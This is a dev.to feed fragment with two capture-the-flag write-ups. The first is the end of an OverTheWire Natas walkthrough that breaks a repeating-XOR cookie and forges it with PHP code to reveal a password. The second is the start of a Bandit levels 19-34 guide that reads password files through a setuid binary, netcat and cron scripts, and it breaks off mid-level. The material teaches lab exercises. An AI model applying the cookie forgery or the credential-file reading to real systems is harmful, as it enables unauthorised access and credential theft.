    &lt;span class="nv"&gt;$outText&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$text&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="nv"&gt;$key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nb"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$key&lt;/span&gt;&lt;span class="p"&gt;)];&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$outText&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;loadData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$def&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;global&lt;/span&gt; &lt;span class="nv"&gt;$_COOKIE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nv"&gt;$mydata&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$def&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;array_key_exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"data"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$_COOKIE&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$tempdata&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;json_decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;xor_encrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;base64_decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_COOKIE&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"data"&lt;/span&gt;&lt;span class="p"&gt;])),&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;is_array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$tempdata&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;array_key_exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"showpassword"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$tempdata&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;array_key_exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"bgcolor"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$tempdata&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;preg_match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/^#(?:[a-f\d]{6})$/i'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$tempdata&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'bgcolor'&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$mydata&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'showpassword'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$tempdata&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'showpassword'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
        &lt;span class="nv"&gt;$mydata&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'bgcolor'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$tempdata&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'bgcolor'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$mydata&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;saveData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$d&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;setcookie&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"data"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;base64_encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;xor_encrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;json_encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$d&lt;/span&gt;&lt;span class="p"&gt;))));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;$data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;loadData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$defaultdata&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;array_key_exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"bgcolor"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$_REQUEST&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;preg_match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/^#(?:[a-f\d]{6})$/i'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$_REQUEST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'bgcolor'&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'bgcolor'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_REQUEST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'bgcolor'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nf"&gt;saveData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In summary, the $data object has keys "showpassword" and "bgcolor", and the $data "showpassword" value is normally set in cookies is XOR encrypted. It is not as easy as changing "showpassword":"no" to "showpassword:yes" in the cookies now.&lt;/p&gt;

&lt;p&gt;The first line in PHP sets a value for the default parameter $defaultdata, it is an associative array with key "showpassword" and "bgcolor". &lt;/p&gt;

&lt;p&gt;Function loadData() is called first, it takes $defaultdata, copies the array to a local variable $mydata. It checks if there is a cookie data, if so, the cookie data is base64 decoded, xor_encrypted, json decoded to the associative array and saved in $tempdata. If $tempdata is an array that has keys "showpassword" and "bgcolor" just like $mydata, the values replace the ones in $mydata. loadData() returns $mydata and saved in $data.&lt;/p&gt;

&lt;p&gt;$data is json encoded, xor_encrypted, base64_encoded and set as the new cookie data through saveData().&lt;/p&gt;

&lt;p&gt;Check the cookie by &lt;strong&gt;Right Click &amp;gt; Inspect &amp;gt; Application &amp;gt; Cookies&lt;/strong&gt;, the current value of data is:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxEIaAw%3D &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is indeed a string in base64.&lt;/p&gt;

&lt;p&gt;Take a closer look at xor_encrypt(), It has a local variable $key which is censored. $text takes a copy of input parameter $in, in this case it is the cookie data. The for loop goes through each character of cookie data and XOR with characters of $key.&lt;/p&gt;

&lt;p&gt;"^" is the bitwise exclusive or operator, which acts on binary numbers. The XOR operator on two binary numbers gives a 1 where only one of the numbers has a 1, hence exclusive (0^0 = 0, 0^1 = 1, 1^0 = 1, 1^1 = 0).&lt;/p&gt;

&lt;p&gt;When you use XOR on characters, you're using their ASCII values. These ASCII values are integers (order on the ASCII table), so they're implicitly converted from decimal to binary before XOR, then converted back to decimal.&lt;/p&gt;

&lt;p&gt;To find the password:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Find $key in xor_encrypt() so you can run the function locally&lt;/li&gt;
&lt;li&gt;change "showpassword"=&amp;gt;"no" to "showpassword"=&amp;gt;"yes" in $defaultdata and pass it through the series of encoding&lt;/li&gt;
&lt;li&gt;Paste the new encoded data in cookies&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Find key
&lt;/h3&gt;

&lt;p&gt;A XOR B = C means that C XOR A = B, so you can XOR again to reverse and get the key. You will need to run some PHP code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$defaultdata&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s2"&gt;"showpassword"&lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="s2"&gt;"no"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"bgcolor"&lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="s2"&gt;"#ffffff"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;xor_encrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$in&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;base64_decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxEIaAw%3D"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nv"&gt;$text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$in&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nv"&gt;$outText&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// Iterate through each character&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$text&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$outText&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$text&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="nv"&gt;$key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nb"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$key&lt;/span&gt;&lt;span class="p"&gt;)];&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$outText&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;$key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;xor_encrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;json_encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$defaultdata&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$key&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The output is a repetition of qw8J:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8JqwnJq&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is expected because the json encoding string is probably longer than the key, and the XOR for loop cycles through the characters of key.&lt;/p&gt;

&lt;p&gt;Let's double check the guess that $key=qw8J :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$defaultdata&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s2"&gt;"showpassword"&lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="s2"&gt;"no"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"bgcolor"&lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="s2"&gt;"#ffffff"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nv"&gt;$data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;base64_encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;xor_encrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;json_encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$defaultdata&lt;/span&gt;&lt;span class="p"&gt;)));&lt;/span&gt;

&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This indeed returns the cookie data that is seen in Dev Tools.&lt;/p&gt;

&lt;h3&gt;
  
  
  Show password
&lt;/h3&gt;

&lt;p&gt;Now set the associative array "showpassword" to "yes":&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$defaultdata&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s2"&gt;"showpassword"&lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="s2"&gt;"yes"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"bgcolor"&lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="s2"&gt;"#ffffff"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nv"&gt;$data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;base64_encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;xor_encrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;json_encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$defaultdata&lt;/span&gt;&lt;span class="p"&gt;)));&lt;/span&gt;

&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This returns the new encoded cookie data, with "showpassword" set as "yes":&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  New cookie data
&lt;/h3&gt;

&lt;p&gt;Paste this new base64 string into the value for cookies, and give the page a refresh, you shall see the password shown on the page.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7uvxoem64ull3x1ggf8b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7uvxoem64ull3x1ggf8b.png" alt="Cookie" width="800" height="313"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>overthewire</category>
      <category>webdev</category>
      <category>security</category>
      <category>webserver</category>
    </item>
    <item>
      <title>OverTheWire Bandit Levels 19-34 Hints and Notes</title>
      <dc:creator>Yulin</dc:creator>
      <pubDate>Thu, 24 Mar 2022 16:39:12 +0000</pubDate>
      <link>https://dev.to/yulin/overthewire-bandit-levels-0-34-hints-and-notes-part-2-73h</link>
      <guid>https://dev.to/yulin/overthewire-bandit-levels-0-34-hints-and-notes-part-2-73h</guid>
      <description>&lt;h1&gt;
  
  
  Table of Contents
&lt;/h1&gt;

&lt;p&gt;Level 19 - setuid&lt;br&gt;
Level 20 - nc&lt;br&gt;
Level 21 - cron&lt;br&gt;
Level 22 - Script&lt;br&gt;
Level 23 - Script&lt;br&gt;
Level 24 - for loop&lt;br&gt;
Level 25 - more&lt;br&gt;
Level 26 - shell&lt;br&gt;
Level 27 - git clone&lt;br&gt;
Level 28 - git log&lt;br&gt;
Level 29 - git branch&lt;br&gt;
Level 30 - git tag&lt;br&gt;
Level 31 - gitignore&lt;br&gt;
Level 32 - bash&lt;br&gt;
Level 33&lt;/p&gt;


&lt;h2&gt;
  
  
  Level 19
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Use the setuid binary in the homedirectory to access /etc/bandit_pass/bandit20&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ls -l&lt;/code&gt; on the homedirectory file you will see letter &lt;code&gt;s&lt;/code&gt; in the permissions in place of the user execution.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Setuid, which stands for set user ID on execution, is a special type of file permission in Unix and Unix-like operating systems such as Linux and BSD. It is a security tool that permits users to run certain programs with escalated privileges.&lt;/p&gt;

&lt;p&gt;When an executable file's setuid permission is set, users may execute that program with a level of access that matches the user who owns the file. For instance, when a user wants to change their password, they run the passwd command. The passwd program is owned by the root account and marked as setuid, so the user is temporarily granted root access for that limited purpose.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Here, the homedirectory bandit20-do has the setuid permission set, and /etc/bandit_pass/bandit20 can only be read by the owner bandit20. We can open /etc/bandit_pass/bandit20 at the runtime of bandit20-do binary:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./bandit20-do cat /etc/bandit_pass/bandit20
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Level 20
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;A setuid binary in the homedirectory that does the following: it makes a connection to localhost on the port you specify as a commandline argument. It then reads a line of text from the connection and compares it to the password in the previous level (bandit20). If the password is correct, it will transmit the password for the next level (bandit21)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;1.Check which ports are in use&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap localhost
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;2.Open a connection on an unused port and send current password&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;echo password | nc -l -p 60000 &amp;amp;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;&amp;amp;&lt;/code&gt; at the end allows you to listen to port in the background, so you can run the next command in the same terminal.&lt;br&gt;
3.Run the setuid binary on the port&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./suconnect 600000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Level 21
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Let's look at what is inside the crontab file for bandit22. A crontab file is a simple text file containing a list of commands meant to be run at specified times.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cat cronjob_bandit22
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Typical format for a cron job is:&lt;br&gt;
Minute(0-59) Hour(0-24) Day_of_month(1-31) Month(1-12) Day_of_week(0-6) Command_to_execute&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Cron offers some special strings, which can be used in place of the five time-and-date fields:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;@reboot&lt;/code&gt;, run once at startup&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;@yearly&lt;/code&gt;, run once a year, "0 0 1 1 *"&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;@annually&lt;/code&gt;, same as &lt;code&gt;@yearly&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;@monthly&lt;/code&gt;, run once a month, "0 0 1 * *"&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;@weekly&lt;/code&gt;, run once a week, "0 0 * * 0"&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;@daily&lt;/code&gt;, run once a day, "0 0 * * *"&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;@midnight&lt;/code&gt;, same as &lt;code&gt;@daily&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;@hourly&lt;/code&gt;, run once an hour, "0 * * * *"&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;program &amp;amp;&amp;gt; /dev/null&lt;/code&gt;, which will redirect both stderr and stdout to /dev/null, so nothing will be printed on screen. &lt;code&gt;/dev/null&lt;/code&gt; is a special file (i.e. a virtual device, known as the null device) that’s present in every single Linux system and purely used to write.  Everything you write to &lt;code&gt;/dev/null&lt;/code&gt; will be discarded.&lt;/p&gt;

&lt;p&gt;Now let's see the bash script that is been executed&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cat /usr/bin/cronjob_bandit22.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;#!/bin/bash&lt;/code&gt; is called a shebang line, this script runs in the bash environment&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv&lt;/code&gt; chmod 644 means only the owner are allowed to write/modify, read-only for others (group) included&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;cat /etc/bandit_pass/bandit22 &amp;gt; /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv&lt;/code&gt; gets password from &lt;code&gt;bandit22&lt;/code&gt; and redirects stdout to &lt;code&gt;/tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To view the password for next level:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Level 22
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Output from &lt;code&gt;cat /usr/bin/cronjob_bandit23.sh&lt;/code&gt; :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#!/bin/bash

myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)
echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"
cat /etc/bandit_pass/$myname &amp;gt; /tmp/$mytarget
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first line is shebang as usual, defining the bash environment in which the script is run. &lt;/p&gt;

&lt;p&gt;The second line assigns output from command &lt;code&gt;whoami&lt;/code&gt; to variable myname.&lt;/p&gt;

&lt;p&gt;The next line uses a new command &lt;code&gt;md5sum&lt;/code&gt;.&lt;/p&gt;

&lt;blockquote&gt;
